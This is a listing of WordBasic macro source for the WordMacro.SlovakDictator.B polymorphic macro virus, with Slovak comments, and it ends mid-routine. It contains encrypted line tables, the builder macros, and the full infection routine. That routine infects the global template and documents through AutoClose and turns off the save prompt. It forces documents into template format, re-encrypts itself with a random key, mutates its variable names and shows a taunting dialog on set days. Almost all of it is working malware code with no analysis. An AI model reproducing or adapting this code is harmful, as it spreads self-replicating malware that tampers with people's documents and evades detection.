FHUMCEAANPGT$(87) = "Ol&SgixuTgsk*.o2&p/&C&FFG{zuIruykFF&Znkt&InkiqOtyzgrrkj&C&7"
FHUMCEAANPGT$(88) = "Tk~z&o"
FHUMCEAANPGT$(89) = "Ktj&L{tizout"
FHUMCEAANPGT$(90) = ""
FHUMCEAANPGT$(91) = "Y{h&Otlkiz.]ngzZuOtlkiz/"
FHUMCEAANPGT$(92) = "PU\KVGQIL\*&C&]otju}Tgsk*./"
FHUMCEAANPGT$(93) = "ZuurySgixu&4Tgsk&C&FFG{zuIruykFF2&4Ynu}&C&]ngzZuOtlkiz2&4Kjoz"
FHUMCEAANPGT$(94) = "KjozIrkgx&3&86"
FHUMCEAANPGT$(95) = ""
FHUMCEAANPGT$(96) = "-5555"
FHUMCEAANPGT$(97) = "-5555&\ru€ktok&vx|in&OZ\TVLYLPURKXJVJ\MI&xogjqu|&quj{&sgqxg"
FHUMCEAANPGT$(98) = "-5555&|ojozkrtg&igyz&3&tksktoz&'"
FHUMCEAANPGT$(99) = "-5555"
FHUMCEAANPGT$(100) =
"Lux&o&C&6&Zu&OZ\TVLYLPURKXJVJ\MI&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"
FHUMCEAANPGT$(101) = "-5555"
FHUMCEAANPGT$(102) = "-5555&vxkskttg&o&ojk&uj&xogjqu|&FFY{h&UxomotgrSgixuHujFF17"
FHUMCEAANPGT$(103) = "-5555&g€&vu&FFY{h&LRVSQXQVIGVUIHW\[STFF37"
FHUMCEAANPGT$(104) = "-5555&|krso&vu€uxtk&{xioz&zokzu&qutyzgtz&'''"
FHUMCEAANPGT$(105) = "-5555"
FHUMCEAANPGT$(106) =
"Lux&o&C&PMM[IVIPNV&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"
FHUMCEAANPGT$(107) =
"KjozXkvrgik&4Lotj&C&Inx*.<:/&1&Inx*.<:/2&4Xkvrgik&C&Inx*.9:/2&4Joxkizout&C&62&4SgzinIgyk&C&72
&4]nurk]uxj&C&62&4VgzzkxtSgzin&C&62&4Yu{tjyRoqk&C&62&4XkvrgikGrr2&4Luxsgz&C&62&4]xgv&C&72&4Lot
jGrr]uxjLuxsy&C&6"
FHUMCEAANPGT$(108) = ""
FHUMCEAANPGT$(109) = "\PVPNWTGWXTU&C&3&Otz..:&1&Xtj./&0&76//"
FHUMCEAANPGT$(110) = "Igrr&\UVKYTJV\NIOTV"
FHUMCEAANPGT$(111) = "Otykxz&FF\PVPNWTGWXTU&C&FF&1&Yzx*.3&\PVPNWTGWXTU/"
FHUMCEAANPGT$(112) = "OtykxzVgxg"
FHUMCEAANPGT$(113) = "NUQLLYLR\QPG"
FHUMCEAANPGT$(114) = "JuiIruyk&7"
FHUMCEAANPGT$(115) = "Gizo|gzk&PU\KVGQIL\*"
FHUMCEAANPGT$(116) = "Ktj&Y{h"
FHUMCEAANPGT$(117) = ""
FHUMCEAANPGT$(118) = "Y{h&UxomotgrSgixuHuj"
FHUMCEAANPGT$(119) = "-5555&ktj&ul&Nojjkt&vgxz&5555"
FHUMCEAANPGT$(120) = "Yixkkt[vjgzotm&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(121) = "JoyghrkG{zuSgixuy&QX\ZRWLOUW"
FHUMCEAANPGT$(122) = "\UVKYTJV\NIOTV"
FHUMCEAANPGT$(123) = ""
FHUMCEAANPGT$(124) = "PU\KVGQIL\*&C&]otju}Tgsk*./"
FHUMCEAANPGT$(125) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Kjoz"
FHUMCEAANPGT$(126) = "KjozIrkgx&3&WXVYRJQIHPT"
FHUMCEAANPGT$(127) =
"Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.HPNQHPSQW\[R
LVT/&@&OtykxzVgxg&@&Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(128) = ""
FHUMCEAANPGT$(129) =
"KjozXkvrgik&4Lotj&C&Inx*.NZNVHPO\JVU/&1&Inx*.NZNVHPO\JVU/2&4Xkvrgik&C&Inx*.L[LTPQMRY[OWQPRS/2
&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4V
gzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&" +
"4XkvrgikGrr2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKH
OSQYIPUW"
FHUMCEAANPGT$(130) = ""
SLOW_A.MAC

FHUMCEAANPGT$(131) = "NUQLLYLR\QPG"
FHUMCEAANPGT$(132) = "[RZTMWV[[ZKX\YJ\"
FHUMCEAANPGT$(133) = "JuiIruyk&QX\ZRWLOUW"
FHUMCEAANPGT$(134) = "Gizo|gzk&PU\KVGQIL\*"
FHUMCEAANPGT$(135) = ""
FHUMCEAANPGT$(136) = "Igrr&SHJXVSZS\KQ\"
FHUMCEAANPGT$(137) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Jkrkzk"
FHUMCEAANPGT$(138) = ""
FHUMCEAANPGT$(139) = "[ZI[YIRGUKIWTRZHG@"
FHUMCEAANPGT$(140) = "JoyghrkG{zuSgixuy&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(141) = "Yixkkt[vjgzotm&QX\ZRWLOUW"
FHUMCEAANPGT$(142) = "JoyghrkOtv{z&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(143) = "Ktj&Y{h"
FHUMCEAANPGT$(144) = ""
FHUMCEAANPGT$(145) = "Y{h&\UVKYTJV\NIOTV"
FHUMCEAANPGT$(146) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["
FHUMCEAANPGT$(147) = "IUOIYOTPO[OUO*&C&FFFF"
FHUMCEAANPGT$(148) = "\MHVM[ZWGW&C&Rkt.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT//"
FHUMCEAANPGT$(149) = "Lux&S[GTQOVRNGOM\HPYJO&C&QX\ZRWLOUW&Zu&\MHVM[ZWGW"
FHUMCEAANPGT$(150) =
"IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Gyi.Soj*.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/2&S[GTQOVRNGOM\
HPYJO2&QX\ZRWLOUW//&3&\PVPNWTGWXTU/"
FHUMCEAANPGT$(151) = "Tk~z&S[GTQOVRNGOM\HPYJO"
FHUMCEAANPGT$(152) = "LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&C&IUOIYOTPO[OUO*"
FHUMCEAANPGT$(153) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(154) = "Ktj&Y{h"
FHUMCEAANPGT$(155) = ""
FHUMCEAANPGT$(156) = "Y{h&NUQLLYLR\QPG"
FHUMCEAANPGT$(157) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["
FHUMCEAANPGT$(158) =
"Otykxz&FFLN[SIKGGTVMZ*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&LN[SIKG
GTVMZ*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"
FHUMCEAANPGT$(159) = "OtykxzVgxg"
FHUMCEAANPGT$(160) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(161) =
"Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"
FHUMCEAANPGT$(162) =
"Otykxz&FFUWPQPIQZ\ZSRWY*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&UWPQP
IQZ\ZSRWY*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"
FHUMCEAANPGT$(163) = "OtykxzVgxg"
FHUMCEAANPGT$(164) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(165) = "Ktj&Y{h"
FHUMCEAANPGT$(166) = ""
FHUMCEAANPGT$(167) = "L{tizout&IKJQQQGXUGQLYXGN*"
FHUMCEAANPGT$(168) = "IUOIYOTPO[OUO*&C&FFFF"
FHUMCEAANPGT$(169) =
"Lux&HPNQHPSQW\[RLVT&C&QX\ZRWLOUW&Zu&WIYWVNKKVLZO[TMI&1&Xtj./&0&WIYWVNKKVLZO[TMI&@&IUOIYOTPO[O
UO*&C&IUOIYOTPO[OUO*&1&Inx*.Xtj./&0&KILH[RNUYTV\NLWN[&1&XIKMNL\RH\T[NVP/&@&Tk~z&HPNQHPSQW\[RLV
T"
FHUMCEAANPGT$(170) = "IKJQQQGXUGQLYXGN*&C&IUOIYOTPO[OUO*"
FHUMCEAANPGT$(171) = "Ktj&L{tizout"
FHUMCEAANPGT$(172) = ""
FHUMCEAANPGT$(173) = "Y{h&[RZTMWV[[ZKX\YJ\"
FHUMCEAANPGT$(174) =
"Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"
FHUMCEAANPGT$(175) =
"KjozXkvrgik&4Lotj&C&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLVT/2&4Xkvrgik&C&IKJQQQGXUGQLYXGN*2&4Joxkizou
t&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzi
n&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&4XkvrgikGr" +
"r2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(176) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(177) = "Ktj&Y{h"
SLOW_A.MAC

FHUMCEAANPGT$(178) = ""
FHUMCEAANPGT$(179) = "Y{h&LRVSQXQVIGVUIHW\[ST"
OQJKJCKTVTMLQS$(0) = "VJPJHQNAQRNO"
OQJKJCKTVTMLQS$(1) = "FHUMCEAANPGT"
OQJKJCKTVTMLQS$(2) = "OQJKJCKTVTMLQS"
OQJKJCKTVTMLQS$(3) = "CTOJSIQREBIMKSCJOQ"
OQJKJCKTVTMLQS$(4) = "QCSQPHEEPFTIUNGC"
OQJKJCKTVTMLQS$(5) = "ECFBULHOSNPVHFQHU"
OQJKJCKTVTMLQS$(6) = "SLDMTVLJUILNV"
OQJKJCKTVTMLQS$(7) = "KRVTLQFIOQ"
OQJKJCKTVTMLQS$(8) = "QRPSLDKCBJN"
OQJKJCKTVTMLQS$(9) = "VFFLVOMBJO"
OQJKJCKTVTMLQS$(10) = "RCEGHFVLBVNUHPJ"
OQJKJCKTVTMLQS$(11) = "FUFNJKGLSUIQKJLM"
OQJKJCKTVTMLQS$(12) = "HTHPBJIVDPO"
OQJKJCKTVTMLQS$(13) = "ITVNPFSFJOLERDPDVGC"
OQJKJCKTVTMLQS$(14) = "JGGUCPCJHP"
OQJKJCKTVTMLQS$(15) = "ATBCMFMITOIRU"
OQJKJCKTVTMLQS$(16) = "DBTKGBAKSUBPOIBKTAH"
OQJKJCKTVTMLQS$(17) = "BJHKBJMKQVULFPN"
OQJKJCKTVTMLQS$(18) = "VGBPGUTQAQ"
OQJKJCKTVTMLQS$(19) = "MUANKIPLHAIGVBJSDI"
OQJKJCKTVTMLQS$(20) = "COICSINJIUIOI"
OQJKJCKTVTMLQS$(21) = "ADKAPBAVCRPTNA"
OQJKJCKTVTMLQS$(22) = "AVLRCKOUFVTMKMJPJR"
OQJKJCKTVTMLQS$(23) = "UTCUSCLAOECQNLTBA"
OQJKJCKTVTMLQS$(24) = "VOPESNDPVHCINP"
OQJKJCKTVTMLQS$(25) = "JOVEPAKCFV"
OQJKJCKTVTMLQS$(26) = "HOKFFSFLVKJA"
OQJKJCKTVTMLQS$(27) = "ULTNGQPUUTERVSDV"
OQJKJCKTVTMLQS$(28) = "MBDRPMTMVEKV"
OQJKJCKTVTMLQS$(29) = "CEDKKKAROAKFSRAH"
OQJKJCKTVTMLQS$(30) = "FLPMKRKPCAPOCBQVUMN"

End Sub
==============================================================================
SLOW_B.MAC

List Word Macros version 1.10


File: SLD_B_S.DOT
Total macros: 5
==============================================================================
Macro name: StarterFINAL [STARTERFINAL] "U"
Description: Vlozi zdrojove riadky zakryptovanej casti makra na poziciu kurzora - pre FINAL
verziu
------------------------------------------------------------------------------
Sub MAIN
ToolsMacro .Name = "SlovakDictatorRESOURCEfinal", .Show = 0, .Edit
BigString$ = GetText$(0, 100000)
DocClose 2
j = 1
i = 0
looop:
Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$(34)
loop2:
char$ = Mid$(BigString$, j, 1)
j = j + 1
If char$ = Chr$(13) Then Goto skip1
If char$ = Chr$(9) Then Goto loop2
If char$ = Chr$(34) Then Insert "@@" : Goto loop2
Insert char$
Goto loop2
skip1:
Insert Chr$(34)
InsertPara
i = i + 1
If j < Len(BigString$) Then Goto looop
End Sub
==============================================================================
Macro name: EncryptAutoClose [ENCRYPTAUTOCLOSE] "U"
------------------------------------------------------------------------------
Sub MAIN
On Error Goto BUG
MacroCopy "global:AutoClose", "global:AutoCloseEncrypted", 1
Goto FINISH

BUG:
MsgBox "Chyba pri vytvarani kryptovaneho makra", "BIG BUG OCCURED !", 48

FINISH:
End Sub
==============================================================================
Macro name: SlovakDictatorGEN1final [SLOVAKDICTATORGEN1FINAL] "U"
Description: Finalna verzia WordMacro.SlovakDictator.B
bez DEBUG infa - 1. generacia
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
SLOW_B.MAC

Dim Shared HiddenLines


Dim Shared PolymorphNamesTable$(31)'MyVarI1
Dim Shared PolyNames

Sub MAIN
On Error Goto ErrorHandler
FixedConstant_0 = 0
FixedConstant_1 = 1
DisableInput FixedConstant_1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
HiddenStart = 120
HiddenLines = 181
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler

CryptConstant = 0
'//// SourceLinesTable - zakryptovane makro
SourceLinesTable$(0) = "Dim Shared FixedConstant_0"
SourceLinesTable$(1) = "Dim Shared FixedConstant_1"
SourceLinesTable$(2) = "Dim Shared FixedConstant_2"
SourceLinesTable$(3) = "Dim Shared FixedConstant_7"
SourceLinesTable$(4) = "Dim Shared FixedConstant_10"
SourceLinesTable$(5) = "Dim Shared FixedConstant_20"
SourceLinesTable$(6) = "Dim Shared FixedConstant_22"
SourceLinesTable$(7) = "Dim Shared FixedConstant_65"
SourceLinesTable$(8) = "Dim Shared Uvodzovky"
SourceLinesTable$(9) = "Dim Shared Zavinac"
SourceLinesTable$(10) = "Dim Shared CryptConstant"
SourceLinesTable$(11) = "Dim Shared SourceLinesTable$(200)"
SourceLinesTable$(12) = "Dim Shared HiddenIntroLen"
SourceLinesTable$(13) = "Dim Shared HiddenStart"
SourceLinesTable$(14) = "Dim Shared HiddenLines"
SourceLinesTable$(15) = "Dim Shared PolymorphNamesTable$(31)'MyVarI1"
SourceLinesTable$(16) = "Dim Shared PolyNames"
SourceLinesTable$(17) = ""
SourceLinesTable$(18) = "Sub MAIN"
SourceLinesTable$(19) = "On Error Goto ErrorHandler"
SourceLinesTable$(20) = "FixedConstant_0 = 0"
SourceLinesTable$(21) = "FixedConstant_1 = 1"
SourceLinesTable$(22) = "DisableInput FixedConstant_1"
SourceLinesTable$(23) = "FixedConstant_2 = 2"
SourceLinesTable$(24) = "FixedConstant_7 = 7"
SourceLinesTable$(25) = "FixedConstant_10 = 10"
SourceLinesTable$(26) = "FixedConstant_20 = 20"
SourceLinesTable$(27) = "FixedConstant_22 = 22"
SourceLinesTable$(28) = "FixedConstant_65 = 65"
SourceLinesTable$(29) = "Uvodzovky = 34"
SourceLinesTable$(30) = "Zavinac = 64"
SourceLinesTable$(31) = "HiddenIntroLen = 38"
SourceLinesTable$(32) = "HiddenStart = 120"
SourceLinesTable$(33) = "HiddenLines = 181"
SourceLinesTable$(34) = "PolyNames = 31"
SLOW_B.MAC

SourceLinesTable$(35) = "WordVersion$ = AppInfo$(FixedConstant_2)"


SourceLinesTable$(36) = "WordVer = Val(Left$(WordVersion$, FixedConstant_1))"
SourceLinesTable$(37) = "If WordVer <> FixedConstant_7 Then Goto ErrorHandler"
SourceLinesTable$(38) = "Call InitializePolymorphTables"
SourceLinesTable$(39) = "'//// begin of hidden part ////"
SourceLinesTable$(40) = "ShowBox"
SourceLinesTable$(41) = "CurFile$ = FileName$()"
SourceLinesTable$(42) = "If CurFile$ = @@@@ Then Goto ErrorHandler"
SourceLinesTable$(43) = ""
SourceLinesTable$(44) = "If CheckInstalled(0) = 0 Then"
SourceLinesTable$(45) = "Infect(1)"
SourceLinesTable$(46) = "ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0"
SourceLinesTable$(47) = "Goto ErrorHandler"
SourceLinesTable$(48) = "End If"
SourceLinesTable$(49) = ""
SourceLinesTable$(50) = "Dim dlg As FileSaveAs"
SourceLinesTable$(51) = "GetCurValues dlg"
SourceLinesTable$(52) = "If dlg.Format = 0 Then"
SourceLinesTable$(53) = "dlg.Format = 1"
SourceLinesTable$(54) = "FileSaveAs dlg"
SourceLinesTable$(55) = "End If"
SourceLinesTable$(56) = ""
SourceLinesTable$(57) = "If CheckInstalled(1) = 0 Then"
SourceLinesTable$(58) = "Infect(3)"
SourceLinesTable$(59) = "FileSave"
SourceLinesTable$(60) = "End If"
SourceLinesTable$(61) = ""
SourceLinesTable$(62) = "ErrorHandler:"
SourceLinesTable$(63) = "End Sub"
SourceLinesTable$(64) = ""
SourceLinesTable$(65) = "Sub ShowBox"
SourceLinesTable$(66) = "ParlamentnyPuc = Day(Now())"
SourceLinesTable$(67) = "If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then"
SourceLinesTable$(68) = "Beep"
SourceLinesTable$(69) = "Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@"
SourceLinesTable$(70) = "Text 28, 8, 349, 13, @@You're infected by
WordMacro.SlovakDictator.B virus@@, .Text1"
SourceLinesTable$(71) = "Text 15, 28, 360, 13, @@Welcome to the LME (Lamer's Macro Engine)
ver. 1.00@@, .Text2"
SourceLinesTable$(72) = "Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text3"
SourceLinesTable$(73) = "Text 35, 73, 342, 13, @@(c) 5-mar-97, Nasty Lamer && Ugly Luser,
Slovakia@@, .Text4"
SourceLinesTable$(74) = "Text 34, 98, 343, 13, @@Dis is the first world true polymorphic
macro virus !@@, .Text5"
SourceLinesTable$(75) = "PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1"
SourceLinesTable$(76) = "Text 100, 165, 228, 13, @@Big fuck to the big boxer V.M.@@, .Text6"
SourceLinesTable$(77) = "End Dialog"
SourceLinesTable$(78) = "Dim dlg As UserDialog"
SourceLinesTable$(79) = "Dialog(dlg)"
SourceLinesTable$(80) = "End If"
SourceLinesTable$(81) = "End Sub"
SourceLinesTable$(82) = ""
SourceLinesTable$(83) = "Function CheckInstalled(j)"
SourceLinesTable$(84) = "On Error Resume Next"
SourceLinesTable$(85) = "CheckInstalled = 0"
SourceLinesTable$(86) = "For i = 1 To CountMacros(j)"
SourceLinesTable$(87) = "If MacroName$(i, j) = @@AutoClose@@ Then CheckInstalled = 1"
SourceLinesTable$(88) = "Next i"
SourceLinesTable$(89) = "End Function"
SourceLinesTable$(90) = ""
SourceLinesTable$(91) = "Sub Infect(WhatToInfect)"
SourceLinesTable$(92) = "SaveWindowName$ = WindowName$()"
SLOW_B.MAC

SourceLinesTable$(93) = "ToolsMacro .Name = @@AutoClose@@, .Show = WhatToInfect, .Edit"


SourceLinesTable$(94) = "EditClear - 20"
SourceLinesTable$(95) = ""
SourceLinesTable$(96) = "'////"
SourceLinesTable$(97) = "'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra"
SourceLinesTable$(98) = "'//// viditelna cast - nemenit !"
SourceLinesTable$(99) = "'////"
SourceLinesTable$(100) = "For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) :
InsertPara : Next i"
SourceLinesTable$(101) = "'////"
SourceLinesTable$(102) = "'//// premenna i ide od riadkov @@Sub OriginalMacroBody@@+1"
SourceLinesTable$(103) = "'//// az po @@Sub InitializePolymorphTables@@-1"
SourceLinesTable$(104) = "'//// velmi pozorne urcit tieto konstanty !!!"
SourceLinesTable$(105) = "'////"
SourceLinesTable$(106) = "For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) :
InsertPara : Next i"
SourceLinesTable$(107) = "EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34),
.Direction = 0, .MatchCase = 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0,
.ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0"
SourceLinesTable$(108) = ""
SourceLinesTable$(109) = "CryptConstant = - Int((4 + Rnd() * 10))"
SourceLinesTable$(110) = "Call DecryptLines"
SourceLinesTable$(111) = "Insert @@CryptConstant = @@ + Str$(- CryptConstant)"
SourceLinesTable$(112) = "InsertPara"
SourceLinesTable$(113) = "FlushAllTables"
SourceLinesTable$(114) = "DocClose 1"
SourceLinesTable$(115) = "Activate SaveWindowName$"
SourceLinesTable$(116) = "End Sub"
SourceLinesTable$(117) = ""
SourceLinesTable$(118) = "Sub OriginalMacroBody"
SourceLinesTable$(119) = "'//// end of Hidden part ////"
SourceLinesTable$(120) = "ScreenUpdating FixedConstant_0"
SourceLinesTable$(121) = "DisableAutoMacros FixedConstant_1"
SourceLinesTable$(122) = "DecryptLines"
SourceLinesTable$(123) = ""
SourceLinesTable$(124) = "SaveWindowName$ = WindowName$()"
SourceLinesTable$(125) = "'MyVarI1"
SourceLinesTable$(126) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedConstant_1, .Edit"
SourceLinesTable$(127) = "'MyVarI1"
SourceLinesTable$(128) = "EditClear - FixedConstant_20"
SourceLinesTable$(129) = "For MyVarI1 = FixedConstant_0 To HiddenLines : Insert
SourceLinesTable$(MyVarI1) : InsertPara : Next MyVarI1"
SourceLinesTable$(130) = ""
SourceLinesTable$(131) = "EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace =
Chr$(Uvodzovky), .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =
FixedConstant_0, .PatternMatch = FixedConstant_0, .SoundsLike = FixedConstant_0,
.ReplaceAll, .Format =" + " FixedConstant_0, .Wrap = FixedConstant_1, .FindAllWordForms =
FixedConstant_0"
SourceLinesTable$(132) = ""
SourceLinesTable$(133) = "FlushAllTables"
SourceLinesTable$(134) = "MutateAllNames"
SourceLinesTable$(135) = "DocClose FixedConstant_1"
SourceLinesTable$(136) = "Activate SaveWindowName$"
SourceLinesTable$(137) = ""
SourceLinesTable$(138) = "Call TempMacro"
SourceLinesTable$(139) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedConstant_1, .Delete"
SourceLinesTable$(140) = ""
SourceLinesTable$(141) = "ErrorHandler:"
SourceLinesTable$(142) = "DisableAutoMacros FixedConstant_0"
SourceLinesTable$(143) = "ScreenUpdating FixedConstant_1"
SourceLinesTable$(144) = "DisableInput FixedConstant_0"
SourceLinesTable$(145) = "End Sub"
SLOW_B.MAC

SourceLinesTable$(146) = ""
SourceLinesTable$(147) = "Sub DecryptLines"
SourceLinesTable$(148) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(149) = "MyVarA4$ = @@@@"
SourceLinesTable$(150) = "MyVarJ2 = Len(SourceLinesTable$(MyVarI1))"
SourceLinesTable$(151) = "For MyVarK3 = FixedConstant_1 To MyVarJ2"
SourceLinesTable$(152) = "MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1),
MyVarK3, FixedConstant_1)) - CryptConstant)"
SourceLinesTable$(153) = "Next MyVarK3"
SourceLinesTable$(154) = "SourceLinesTable$(MyVarI1) = MyVarA4$"
SourceLinesTable$(155) = "Next MyVarI1"
SourceLinesTable$(156) = "End Sub"
SourceLinesTable$(157) = ""
SourceLinesTable$(158) = "Sub FlushAllTables"
SourceLinesTable$(159) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(160) = "Insert @@SourceLinesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(161) = "InsertPara"
SourceLinesTable$(162) = "Next MyVarI1"
SourceLinesTable$(163) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(164) = "Insert @@PolymorphNamesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(165) = "InsertPara"
SourceLinesTable$(166) = "Next MyVarI1"
SourceLinesTable$(167) = "End Sub"
SourceLinesTable$(168) = ""
SourceLinesTable$(169) = "Function GenName$"
SourceLinesTable$(170) = "MyVarA4$ = @@@@"
SourceLinesTable$(171) = "For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() *
FixedConstant_10 : MyVarA4$ = MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) :
Next MyVarI1"
SourceLinesTable$(172) = "GenName$ = MyVarA4$"
SourceLinesTable$(173) = "End Function"
SourceLinesTable$(174) = ""
SourceLinesTable$(175) = "Sub MutateAllNames"
SourceLinesTable$(176) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(177) = "EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace =
GenName$, .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =
FixedConstant_0, .PatternMatch = FixedConstant_0, .SoundsLike = FixedConstant_0,
.ReplaceAll, .Format = FixedC" + "onstant_0, .Wrap = FixedConstant_1, .FindAllWordForms =
FixedConstant_0"
SourceLinesTable$(178) = "Next MyVarI1"
SourceLinesTable$(179) = "End Sub"
SourceLinesTable$(180) = ""
SourceLinesTable$(181) = "Sub InitializePolymorphTables"

'//// PolymorphNamesTable - polymorfne premenne


'//// Pozor na poradie premennych pri replacovani !!!
PolymorphNamesTable$(0) = "CryptConstant"
PolymorphNamesTable$(1) = "SourceLinesTable"
PolymorphNamesTable$(2) = "PolymorphNamesTable"
PolymorphNamesTable$(3) = "FixedConstant_0"
PolymorphNamesTable$(4) = "FixedConstant_10"
PolymorphNamesTable$(5) = "FixedConstant_22"
PolymorphNamesTable$(6) = "FixedConstant_7"
PolymorphNamesTable$(7) = "FixedConstant_1"
PolymorphNamesTable$(8) = "FixedConstant_20"
PolymorphNamesTable$(9) = "FixedConstant_2"
PolymorphNamesTable$(10) = "FixedConstant_65"
PolymorphNamesTable$(11) = "Uvodzovky"
PolymorphNamesTable$(12) = "Zavinac"
PolymorphNamesTable$(13) = "HiddenIntroLen"
SLOW_B.MAC

PolymorphNamesTable$(14) = "HiddenStart"
PolymorphNamesTable$(15) = "HiddenLines"
PolymorphNamesTable$(16) = "PolyNames"
PolymorphNamesTable$(17) = "MyVarI1"
PolymorphNamesTable$(18) = "MyVarJ2"
PolymorphNamesTable$(19) = "MyVarK3"
PolymorphNamesTable$(20) = "MyVarA4"
PolymorphNamesTable$(21) = "WordVersion"
PolymorphNamesTable$(22) = "WordVer"
PolymorphNamesTable$(23) = "ErrorHandler"
PolymorphNamesTable$(24) = "DecryptLines"
PolymorphNamesTable$(25) = "SaveWindowName"
PolymorphNamesTable$(26) = "FlushAllTables"
PolymorphNamesTable$(27) = "MutateAllNames"
PolymorphNamesTable$(28) = "TempMacro"
PolymorphNamesTable$(29) = "GenName"
PolymorphNamesTable$(30) = "InitializePolymorphTables"
'//// iniciacna cast
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines

SaveWindowName$ = WindowName$()
'MyVarI1
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
'MyVarI1
EditClear - FixedConstant_20
